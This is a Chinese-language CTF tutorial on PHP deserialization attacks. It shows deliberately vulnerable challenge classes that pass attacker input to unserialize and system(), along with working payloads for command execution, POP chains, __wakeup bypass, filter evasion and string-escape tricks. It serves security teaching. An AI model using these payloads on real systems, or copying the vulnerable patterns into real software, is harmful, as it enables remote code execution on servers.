序列化是将一个变量(如数组、对象、字符串等)转换为一个字符串格式,方便存储或传输的过程。可以把它看作是将内存中的数据结构转换成适合持久化或传输的格式。反序列化则是将序列化后的数据(通常是字符串)还原为 变量的过程。
在 PHP 中,实现这两个过程的函数分别是 serialize 和 unserialize。
反序列化后的数据将变成我们可以继续操作的 PHP 变量,比如数组、对象等。
举个例子,常见的 JSON 就是一种序列化格式。JSON 将 JavaScript 对象转换为字符串的过程就类似于 PHP 中的序列化,而将字符串还原为 JavaScript 对象的过程类似于反序列化。
而在 PHP 中,会根据反序列化的数据来恢复对象所属的类及其内部状态。PHP 会根据对象中指定的类来创建对象,并且可能触发该类中的某些方法,造成潜在的安全漏洞。
b:value
。例:b:0
。i:value
。例:i:233
。s:length:"value"
。例:s:4:"abcd"
(根据长度读取,不需要转义)。N
。数组:a:length:{key;value; pairs}
。
数组例:
Array(1=>"1","key"=>233)
反序列化后:
a:2:{i:1;s:1:"1";s:3:"key";i:233;}
对象:O:class_length:class_name:property_length:{property_name;property_value; pairs}
。
对象例:
class test {
public $a;
public $b = 233;
}
反序列化后:
O:4:"test":2:{s:1:"a";N;s:1:"b";i:233;}
注意:如果变量前是protected,则会在变量名前加上\x00*\x00
,private则会在变量名前加上\x00类名\x00
。这时候就需要进行编码才能输出。
在序列化的时候,只对对象的属性进行操作,但是不操作对象的方法。
但是,PHP 中存在大量的魔术方法,这些方法会被 PHP 自动地进行调用。
如果这些方法中有恶意代码,我们就可以进行攻击。
__construct
:对象被创建时触发。__destruct
:对象被销毁时触发。__toString
:当对象被当做字符串使用时。__wakeup
:反序列化恢复对象前调用。__sleep
:序列化对象前进行调用,返回数组。__call
:调用不存在的方法的时候触发,第一个参数是方法名。__get
:从不可访问的属性中获取数据,第一个参数是属性名。__invoke
:尝试将对象调用为函数的时候触发。class Hello {
public $name = "echo 'Hello, CTFer';";
function __destruct() {
system($this->name);
}
}
if (isset($_GET["data"])) {
unserialize($_GET["data"]);
}
我们注意到Hello这个类的__destruct方法会调用system函数,并且参数就是name属性的值。
那么我们只要利用反序列化,构建一个Hello类,并且让它的name变成我们想要的命令即可。
例如,我们传入data为
O:5:"Hello":1:{s:4:"name";s:4:"ls /";}
那么这个data反序列化就是一个name为ls /
的一个Hello类,就可以获取根目录下全部文件了。
而关于如何获取这个序列化之后的值,我们可以复制Hello类的定义,然后执行:
$a = new Hello();
$a->name = "ls /";
echo serialize($a);
即手动创建一个Hello类,并输出序列化结果即可。
有时候,题目给出了大量的类,类中有大量的魔术方法。这时候可能只看一个魔术方法无法完成利用,我们就需要构造一条链,由一个魔术方法触发其他的魔术方法,环环相扣,直到成功执行恶意代码为止。
对于这种题,可以先找到头、或者尾,然后利用其中的代码来顺推或者逆推。
还是来看一道例题:
class Hello_A {
public $A = "Hello, ctfer:)";
function __toString() {
return system($this->A);
}
}
class Hello_B {
public $B;
function __call($name, $val) {
echo "Welcome ".$this->B;
}
}
class Hello_C {
public $C;
public $D;
function __get($name) {
return $this->D->welcome($C);
}
}
if (isset($_GET["data"])) {
$a = unserialize($_GET["data"]);
}
else {
$a = new Hello_A();
}
echo $a->A;
从Hello_A的__toString方法中看到了恶意代码,因此以此作为终点。然后考虑怎么才能跳转到这里呢?恶意方法是__toString,那么就寻找哪里把变量当做字符串来用。然后就发现了Hello_B的__call方法。然后再往上寻找,发现了Hello_C的__get方法。而Hello_C的__get方法,则刚好可以因为题目最后的$a->A而触发。因此这样子就用逆推完成了链的构造。当然也可以从题目的echo $a->A;
顺推来完成。
然后根据我们推出的结果生成序列化的代码即可:
/* 复制Hello_A,Hello_B,Hello_C的定义 */
$a = new Hello_A();
$a->A = "ls /"; // 终点
$b = new Hello_B();
$b->B = $a;
$c = new Hello_C();
$c->D = $b;
echo serialize($c); // 最后需要传入c的序列化值,赋值给题目中的a。
最终payload:
O:7:"Hello_C":2:{s:1:"C";N;s:1:"D";O:7:"Hello_B":1:{s:1:"B";O:7:"Hello_A":1:{s:1:"A";s:4:"ls /";}}}
在执行unserialize()时,会调用__wakeup方法,而不会执行__construct方法。
绕过方法:序列化字符串中表示对象属性个数的值大于真实的属性个数时会跳过__wakeup的执行。
要求:
class Hello {
public $name;
function __wakeup() {
$this->name = "echo 'Hello, CTFer';"
}
function __destruct() {
system($this->name);
}
}
我们发现,如果正常传入之前“简单例子”的payload,__wakeup会把我们设置的name给修改掉,因此要绕过__wakeup的执行。
所以我们把属性个数设置大一点就行了。
O:5:"hello":2:{s:4:"name";s:4:"ls /";}
这里的 2 设定的比真实的参数个数(1)更大,所以会绕过__wakeup的执行。
当一个对象失去引用的时候,PHP就会把它销毁,这时候会触发__destruct函数。
但是,有时候题目动了手脚,我们需要让我们的__destruct立刻被触发,手动去销毁对象。
这时候,我们可以用数组来实现,即先创建一个对象,然后用另一个值去覆盖掉。
Payload:
a:2:{i:0;O:4:"test":0:{};i:0;N;}
即创建一个数组,首先让下标为 0 的位置是一个 test 对象,之后让下标为 0 的位置改成一个 NULL,这样子之前的 test 对象就会失去引用而被销毁掉。
用加号绕过即可。即本来是 O:5:
之类的,改成 O:+5:
。注意 URL 中 + 需要转义,使用 %2B
。
如果题目不允许出现特定的字符串,那么可以将表示字符串的 s
改为大写,然后用16进制绕过。
比如 s:1:"A" 可以改为 S:1:"\41"。
利用引用可以用来进行某些值的传递。
将一个属性的地址设置为另一个属性的地址,这样子这两个属性的值就永远相等了。
同样举一个例子。
class A {
public $A;
public $B;
function __get($name) {
global $flag;
$this->B = $flag;
}
}
class B {
public $C;
function __destruct() {
echo "Hello, ". $this->C;
}
}
$a = unserialize($_GET['data']);
if ($a->flag == "flag") {
echo "Hello!";
}
在这道题中,我们可以利用 $a->flag
来进入A中的__get方法,但是这样只能把变量B改为flag,但是输出不出来。
只有B的__destruct可以控制输出。那么我们怎么样让B的C属性变成flag输出呢?
只需要把B的C属性改成A的B属性的引用就好了!
$a = new A();
$b = new B();
$a->A = $b;
$b->C = &$a->B;
echo serialize($a);
最终payload:
O:1:"A":2:{s:1:"A";O:1:"B":1:{s:1:"C";N;}s:1:"B";R:3;}
字符变多的情况,我们是将某一个变量前半部分放要被变多的文本,然后后半部分放恶意的代码,这样子前半部分变多的文本把后面恶意的代码就顶出去了,就完成了逃逸。
function filter($data) {
return str_replace("yema", "yemama", $data); // not yema, but yemama!
}
class Person {
public $name;
public $lover;
function __construct($name, $lover) {
$this->name = $name;
$this->lover = $lover;
}
}
$name = $_GET["name"];
$lover = "????";
$before = new Person($name, $lover);
$data = filter(serialize($before));
$after = unserialize($data);
if ($after->lover == "yemama") {
echo "Oh, yemama loves you, too! Here's your flag!".$flag;
}
else {
echo ">_<, please love yemama!";
}
在这道题中。首先,我们可以看到,序列化字符中的 yema
将会被替换为 yemama
。我们控制 name 是大量的 yema
,然后后半部分把 lover 改写为 yema
,这样子后面我们改写的 lover 就会被前面的 yemama
顶出去,完成逃逸。
首先我们构造 name=yemayemayemayemayemayemayemayema";s:5:"lover";s:6:"yema";}
,这样子序列化之后就得到
s:4:"name";s:78:"yemayemayemayemayemayemayemayemayemayemayemayemayema";s:5:"lover";s:6:"yema";}";s:5:"lover";s:4:"????";
替换过后也就是
s:4:"name";s:78:"yemamayemamayemamayemamayemamayemamayemamayemamayemamayemamayemamayemamayemama";s:5:"lover";s:6:"yemama";}";s:5:"lover";s:4:"????";
这样子刚好让 yemama 占满前面 name 的78个字符,后面 s:5:"lover";s:6:"yemama";
就成功逃逸了。而大括号后面的内容,因为前面的部分已经是完整的一个序列化字符串了,所以会被丢弃。
那么这个前面的 name 是怎么构造的呢?因为我们不知道具体的个数,所以我们先用一个代替,然后在后面加上关于 lover 的序列化代码。即,让 name 为 yema";s:5:"lover";s:6:"yema";}
。这样子序列化之后是:
s:4:"name";s:30:"yema";s:5:"lover";s:6:"yema";}";s:5:"lover";s:4:"????";
替换后成
s:4:"name";s:30:"yemama";s:5:"lover";s:6:"yemama";}";s:5:"lover";s:4:"????";
我们希望让 yemama(红色部分) 占满全部的 name,这样子后面跟着的 lover 的部分(绿色部分),就变成序列化字符串了。这样子要满足长度要求。目前长度是 30,但是 yemama
的长度是 6,还差 24。每多一个 yema
,替换之后变成 yemama
多 2 个字符,所以再加 12 个 yema 就恰好满足长度要求了。所以最后构造 name=yemayemayemayemayemayemayemayemayemayemayemayemayema";s:5:"lover";s:6:"yema";}
。
字符变少的情况,我们是将第一个变量放被去除的文本,然后让第二个变量的尾部放恶意代码。这样子第一个变量被过滤后,第二个变量的前面部分就顶替到第一个变量中了。然后我们尾部的恶意代码就逃逸出来了。
还是以一道题为例子:
function filter($data) {
return str_replace("yema", "", $data); // yema out!!!
}
class Person {
public $name;
public $lover;
function __construct($name, $lover) {
$this->name = $name;
$this->lover = $lover;
}
}
$name = $_GET["name"];
$lover = $_GET["lover"];
if (strlen($lover) < 10) {
die("lover too short");
}
$before = new Person($name, $lover);
$data = filter(serialize($before));
$after = unserialize($data);
if ($after->lover == "yema") {
echo "Oh, yema loves you, too! Here's your flag!".$flag;
}
else {
echo ">_<, please love yema!";
}
在这道题中。首先,我们可以看到,序列化字符中的 yema
将会被直接去除。我们控制 name 是大量的 yema
,然后 lover 前半部分去顶替被清除的 yema
,然后剩下部分写恶意代码即可。
首先我们构造 name=yemayemayemayemayemayemayemayema
,lover=abcdabcdabcd";s:5:"lover";s:4:"yeyemama
,这样子序列化之后就得到
s:4:"name";s:32:"yemayemayemayemayemayemayemayema";s:5:"lover";s:39:"abcdabcdabcd";s:5:"lover";s:4:"yeyemama";
替换过后也就是
s:4:"name";s:32:"";s:5:"lover";s:39:"abcdabcdabcd";s:5:"lover";s:4:"yema";
这样子把 yema 全部删掉之后,后面的 ";s:5:"lover";s:39:"abcdabcdabcd
就上来顶替成了 name 的值,而我们后面追加的 s:5:"lover";s:4:"yema";
就露出来变成序列化字符串了。
这个构造方式和上面也差不多。如果不能个数整除的话,可以在后面变量用来给第一个变量闭合的引号前面添加无关字符凑数,在这里是 abcdabcdabcd
。
PHP的Session也是序列化之后保存的,等使用的时候就对保存的内容进行反序列化。
默认存储在文件中,文件名是sess_sessid。存储格式主要有以下3种:
方式 | 说明 | 例子 |
---|---|---|
php_serialize | 经过 serialize() 函数序列化数组 | a:2:{s:3:"foo";s:3:"bar";s:3:"baz";s:3:"qux";} |
php | 键名+竖线+经过 serialize() 函数处理的值 | foo|s:3:"bar";baz|s:3:"qux"; |
php_binary | 键名的长度对应的 ascii 字符+键名+serialize()函数序列化的值 | \x03foo s:3:"bar"\x03baz s:3:"qux" |